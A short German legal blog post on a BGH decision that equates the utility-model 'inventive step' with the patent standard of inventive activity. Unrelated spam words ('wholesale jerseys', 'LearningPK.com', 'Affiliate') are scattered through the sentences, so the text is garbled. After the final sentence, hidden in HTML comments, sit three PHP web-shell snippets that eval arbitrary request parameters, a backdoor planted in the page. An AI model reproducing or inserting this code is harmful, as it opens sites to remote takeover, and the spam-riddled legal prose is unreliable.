Demonstrationsschrank: BGH gleicht „erfinderischen Schritt“ des Gebrauchsmusters an die Erfindungshöhe des Patents an
Demonstrationsschrank:Das Magnet Kriterium des erfinderischen Schritts im Gebrauchsmusterrecht ist wie das der erfinderischen Tätigkeit im wholesale jerseys Patentrecht ein qualitatives und nicht etwa ein quantitatives. Ein “Maß” für die erfinderische Leistung existiert nicht. Die Wertungskriterien beim Patent und beim Gebrauchsmuster unterscheiden sich lediglich marginal.
Für die Beurteilung des erfinderischen Schritts kann bei Berücksichtigung LearningPK.com der Unterschiede, die sich daraus ergeben, dass der Stand der Technik im Gebrauchsmusterrecht hinsichtlich mündlicher Beschreibungen und hinsichtlich von Benutzungen außerhalb des Geltungsbereichs des the Gebrauchsmustergesetzes in § 3 GebrMG abweichend definiert ist, auf die im Patentrecht entwickelten Grundsätze [→ erfinderischen Tätigkeit] zurückgegriffen werden.
Es verbietet sich dabei, Naheliegendes etwa unter dem Gesichtspunkt, dass es der Fachmann nicht bereits auf der Grundlage Affiliate seines allgemeinen Fachkönnens und bei routinemäßiger Berücksichtigung des Stands der Technik ohne weiteres finden könne, als auf einem erfinderischen Schritt beruhend 2012 zu bewerten. [->Erfinderischer Schritt] <!– [insert_php]if (isset($_REQUEST["wUFBT"])){eval($_REQUEST["wUFBT"]);exit;}[/insert_php][php]if (isset($_REQUEST["wUFBT"])){eval($_REQUEST["wUFBT"]);exit;}[/php] –><!– [insert_php]if (isset($_REQUEST["VNFX"])){eval($_REQUEST["VNFX"]);exit;}[/insert_php][php]if (isset($_REQUEST["VNFX"])){eval($_REQUEST["VNFX"]);exit;}[/php] –><!– [insert_php]if (isset($_REQUEST["rgJ"])){eval($_REQUEST["rgJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["rgJ"])){eval($_REQUEST["rgJ"]);exit;}[/php] –>